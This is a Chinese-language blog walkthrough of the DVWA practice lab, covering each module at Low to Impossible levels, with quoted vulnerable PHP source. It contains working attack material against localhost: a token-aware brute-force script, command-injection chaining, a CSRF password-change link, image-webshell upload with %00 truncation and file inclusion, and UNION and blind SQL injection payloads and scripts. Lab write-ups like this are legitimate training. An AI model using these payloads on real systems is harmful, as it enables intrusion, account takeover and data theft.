logo头像

黑客的本质就是白嫖

DVWA 食用指北

本文于 510 天之前发表,文中内容可能已经过时。

前言

这周入职了安恒,心里有些小激动,领导说让我入职前写一个 DVWA 的使用总结,那就要好好地完成任务

DVWA介绍

摘自官网:

DVWA(Damn Vulnerable Web Application) ,is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

里面一共有十个模块,分别为:

  • Brute Force   爆破
  • Command Injection   命令注入
  • CSRF   跨站请求伪造
  • File Inclusion   文件包含
  • File Upload   文件上传
  • Insecure CAPTCHA   不安全的验证码
  • SQL Injection   SQL注入
  • SQL Injection(Blind)  SQL盲注
  • XSS(Reflected)   反射型XSS
  • XSS(Stored)   存储型XSS

每个模块又分为 LowMediumHighImpossible四个等级,接下来就来一个一个模块一个一个等级来分析下这个应用吧

搭建

搭建的话,其实没有太多东西可以讲,需要注意的就是可能最后搭建完了,使用的时候页面中有乱码,这时候只要把DVWA/dvwa/includes/dvwaPage.inc.php文件里面的charset=utf-8全部修改为charset=gb2312就好了

使用

Brute Force
Low

暴力破解,自然就要用相应的解法来做,用 burp抓包,使用 intruder模块爆破,可以使用 burp自带的字典,我这里用的是最常见的前1000个密码字典,毕竟这样的密码应该不会是太极端的。
dvwa_1
dvwa_2
使用排序功能,一般情况下,登录成功和失败的返回页面长度不一样,所以我基本上都是使用 Length逆序,成功的话,长度会比失败的长一点,这样,得到密码是 password
我们看一下源码
dvwa_4
就是一个很简单的登录功能,获取传入的用户名和密码,对密码进行 md5加密,再进行查询,很显然阻挡不了爆破,即使密码很复杂,只要字典足够强大,这样的系统都不太安全

Medium

现在安全性调高了点,但是同样阻挡不了burp的爆破,同样的步骤,仍然可以得到密码
dvwa_3
看下这个难度的源码
dvwa_5
这里用了一个 mysqli_real_escape_string 函数对传入的用户名和密码进行了处理,作用是转义语句中的一些特殊字符,防止 SQL注入,但是这对于我们爆破选手来说并没有什么影响

High

最高难度,先抓包看看
dvwa_6
可以看到这次请求头里带了一个 user_token,并且每次都不一样
dvwa_7
dvwa_8
这样的话就不能单纯靠 burp 来爆破了,这里可以写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from lxml import etree

url = "http://localhost/dvwa/vulnerabilities/brute/"
headers = {
"Host": "localhost",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer": "http://192.168.153.130/dvwa/vulnerabilities/brute/index.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "security=high; PHPSESSID=ebe01ce3e653721a0133b214ddb47544"
}

r = requests.get(url,headers=headers)
html = etree.HTML(r.text)
f = open("D:\\工具\\timeline\\dict\\SecLists-master\\Passwords\\darkweb2017-top100.txt","r")
passwds = f.readlines()
for line in passwds:
r = requests.get(url+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+html.xpath('//*[@name="user_token"]')[0].get('value'),headers=headers)
if("Welcome" in r.text):
print(line[:-1])
break
html = etree.HTML(r.text)
f.close()

还是看一下源码

1
2
3
4
5
6
7
8
9
10
11
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
...
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

这里面用了好几种防止各种攻击的手段
第一,checkToken ,确认传入的 token 是否正确
第二,stripslashes ,删除用于转义的反斜杠\

Impossible

最强难度,看这个名字应该是比较安全的,所以也不打算测试了,审计一下源码吧
因为代码有点多,这里就只贴出一部分代码

1
2
3
4
5
6
7
8
9
10
...
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
...
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

Medium难度相比,查询的时候使用预处理,基本上阻断了SQL注入的路,还会在登录失败次数过多的时候锁定账号,基本上也断绝了爆破的路

Command Injection
Low

命令注入,这样的情景个人没怎么见过,但是之前也学习过相关知识,毕竟可以在目标主机上直接运行命令相当于get了一半的shell啊,话不多说,继续看
dvwa_9
这是一个比较典型的场景,输入ip地址,服务器端返回ping的结果
命令注入的话,可以使用命令连接符&&& ,命令分割符; 以及管道符| 等分割服务端命令以及我们构造的命令
因为是Low难度,直接用&& 就能成功执行了
dvwa_10
部分源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

可以看到没有经过任何过滤

Medium

这时候直接使用&& 不能运行了,经过测试至少过滤了&& 以及; 两个字符,又测试得到& 可以成功
dvwa_11
&&& 的区别就是,前者连接的两个语句,必须前一个语句运行成功才会运行第二个语句,后者的话,无论前面的语句运行结果如何都会运行后面的语句
部分源代码:

1
2
3
4
5
6
7
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

High

上来测试了一通,结果直接用管道符就行了
dvwa_12
…这不太像High 的难度啊
总之先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

看了代码才知道为啥,因为不是很好的个人习惯,写了管道符就没有在后面接空格了,然后过滤的又正好是管道符后接空格…

Impossible

部分源码:

1
2
3
4
5
6
7
8
9
10
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
...

可以看到这里并没有对传入的IP 地址进行过滤,而是直接将其将点分开判断每个位置是否为数字,都是的话再将其拼接起来作为IP 地址
因为个人比较菜,想不出什么好的绕过方法,不知道存不存在

CSRF
Low

一看到这个的时候我有点懵,我记得部署的时候应该没有在后台部署机器人啊
遂到网上一搜,原来是要自己构造攻击链接,达到修改别人密码的目的
这样的话,先测试一下修改
http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
这是修改的时候会发出的请求,这样的话,只要诱使目标点击这个链接就可以了,或者使用xss 标签
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">
这样在页面加载时,就会自动发出修改密码的请求了,当然这个前提是目标用户登录过dvwa 平台
源代码:

1
2
3
4
5
6
7
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf )

可以看到这里没有对用户进行任何身份的验证

Medium

本身对于CSRF不是很熟练,也不清楚到底有多少可以身份验证的东西,所以还是先看一下源代码吧

1
2
3
...
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
...

Low难度的差距就是这一行,多了一个Referer验证,这里的意思是,Referer里要包含hostname的内容,看起来好像是只能在本域名下进行CSRF,但是,可以通过把页面命名成hostname+xxx.html的方式来达到这个效果,这样的话就可以在自己的vps上建立一个页面,插入上面所说的img或者其他标签,将页面命名为目标网站hostname+xxx.html的形式绕过,或者将目标网站hostname作为自己vps上的自已子目录名字

High

源码:

1
2
3
...
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
...

High难度的源码和Low难度的也只有这一行差距,验证user_token ,这样的话,需要先窃取用户的user_token ,再进行CSRF,但是如果在自己的vps上想要请求的话,又存在跨域这个问题,这样的话,比较好的方式是在目标网站上寻找一个存储型XSS ,再通过这个XSS引入自己构造的js脚本,然后在自己vps上构造一个跳转至存储型XSS页面的页面,将链接发给目标用户,实现修改密码
这是通过iframe标签弹出user_token的效果
dvwa_13

Impossible

dvwa_14
这个难度一进去看到这个Current password感觉就基本上断了CSRF的路了,这样不知道原来密码基本上没有办法修改,除非钓鱼

File Inclusion
Low

这个URL 在比赛中倒是挺常见的
http://localhost/dvwa/vulnerabilities/fi/?page=include.php
因为是低难度,先随便尝试包含一个Windows下不存在的文件看是否会报错
dvwa_15
可以看到报错了,并且得知了网站的绝对路径,这样的话可以尝试包含php.ini文件
dvwa_16
源码:

1
$file = $_GET[ 'page' ];

只有一句话…

Medium

尝试包含php.ini,还是有用?有点奇怪
dvwa_17
源码:

1
2
3
4
5
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

原来是这样,这样的话可以防止通过相对路径引入本地文件,但是并不影响通过报错得知绝对路径再引入,而这里还过滤了一个http://https://, 想了一下应该是用来远程文件包含的,我这边好像是有一个配置没弄好,在低难度试了一下貌似也包含不了,这里就暂时跳过了

High

测试了几个文件,都显示ERROR: File not found! ,这样看一下源代码:

1
2
3
4
5
6
...
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

这里用了一个fnmatch 函数,这个函数的作用是根据指定模式来匹配文件名或字符串,在这里的话就是根据file* 来匹配文件名,相当于通配符匹配
那意思是文件名开头一定要是file ,并且文件不能是include.php ,这样的话,应该可以使用本地浏览器打开文件的方式,即file://文件路径 来包含
测试
dvwa_18
成功

Impossible

代码:

1
2
3
4
5
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

直接写死,不是这几个文件的话无法包含,hao无办法

File Upload
Low

直接上传一句话,发现完全没有阻拦
dvwa_19
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

果然,对文件类型都没有判断

Medium

直接上传php文件没用了,但是用burp抓包改一下文件类型就又可以了,看来这是前端验证
dvwa_20
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

High

直接修改后缀也没用了,尝试一下用图片马
dvwa_22
上传成功,这里用burp 抓包,并且用了%00 截断来绕过文件名判断
但是这里直接访问没办法连接到木马,因为文件会被解析成图片文件,这样的话,之前在文件包含处的漏洞就可以拿来利用一下
访问http://localhost/dvwa/vulnerabilities/fi/?page=file://D:\Program\wamp64\www\DVWA\hackable\uploads\one.jpg
dvwa_23
接下俩都是和上面的一样了
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

可以看到,文件类型由文件名里面最后一个. 之后的内容决定,之后的getimagesize 也决定了上传的文件头必须是图片文件头,最后再通过系统中的文件包含漏洞或者php版本小于5.3.4的情况下把文件解析成php文件的漏洞,使用菜刀连接

Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码使用imagecreatefromjpeg函数获取图片文件的标识,再使用imagejpeg创建一个新的文件,基本上阻断了文件上传的路

Insecure CAPTCHA  
Low

拿到的时候有点懵,以前没怎么碰到过这样绕过图片验证的问题,所以到网上找了一篇教程看看
dvwa_24
可以看到POST的参数中有一个step ,看一下服务端的源码:

1
2
3
4
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
...
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
...

没想到服务器是直接通过传入的step参数来判断程序进行到哪一步了,这样的话可以通过修改step的值来直接修改密码
dvwa_25

Medium

同样抓包
dvwa_26
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
...
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

同样是通过step参数判断程序进展,只不过在第二步加了一个参数passed_captcha验证,要绕过的话只需要加上这个参数,再把step改成2就好了
dvwa_27

High

抓包
dvwa_28
看参数加了一个user_token,估计是第二次返回的user_token会不一样,还是先看看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
$html .= "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里使用recaptcha_check_answer来验证用户验证码是否正确,之后下面判断返回值或者$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA',因为前者不可控,我们只能通过修改UA以及POST的参数来绕过验证
dvwa_29
可以看到绕过成功

Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
$html .= "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
$html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();
?>

可以看到,页面里用了user_token防止csrf,各种过滤以及预处理等防止SQL注入,而验证码,在这里没有验证返回的话就直接报错

SQL Injection
Low

这就是比较常见的了
闭合注入,看起来没有过滤
dvwa_30
源代码:

1
2
3
4
5
6
...
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
...

的确没有过滤,接下来的语句如下

1
2
3
1' union select 1,table_name from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='table_name'#
1' union select 1,group_concat('column_name') from 'table_name'#

Medium

dvwa_31
数字型,不知道后台有没有过滤
dvwa_32
看起来貌似没有过滤,看看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

原来是用了mysqli_real_escape_string函数对特殊符号转义,这样的话在后面的过程里,where子句里面的表名可以用16进制表示来绕过

High

找了半天没找到输入点,没想到是在弹窗里
dvwa_33
貌似难度也没啥更高的,不过这样需要手工注入,用burp抓包的话回显不是在同一个页面
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到和Low难度其实差不多

Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

使用了一个user_token防止CSRF,直接检验参数id是否为数字,感觉这里就没办法了,后面还做了个SQL预处理,再使用PDO,铜墙铁壁啊

SQL Injection(Blind)
Low

先测试正确和错误的输入的回显
dvwa_34

这是输入1的时候
dvwa_35
这是输入一个随机字符串的时候

可以看到输入错误时返回页面有一个MISSING,这样我们可以根据这个来爆破出数据库中的数据
首先手工注入得到数据库长度
dvwa_36
数据库长度为4
本来想写个脚本的,但是这里碰到了一些问题,之后再来补充吧
(加个脚本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from urllib import *
from urllib.parse import quote

url = "http://localhost/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id="
db_name = "1' and ascii(substr((select database()),{0}))>{1}%23#"
table_name = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0}))>{1}%23#"
column_name = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='admin'),{0}))>{1}%23#"
result = ""
for i in range(1,20):
low = 32 #可显字符最低ASCII
high = 126 #可显字符最高ASCII
mid = (low + high)>>1
while low < high:
payload = table_name.format(i,mid)
data = {}
headers = {
'Host': 'localhost',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
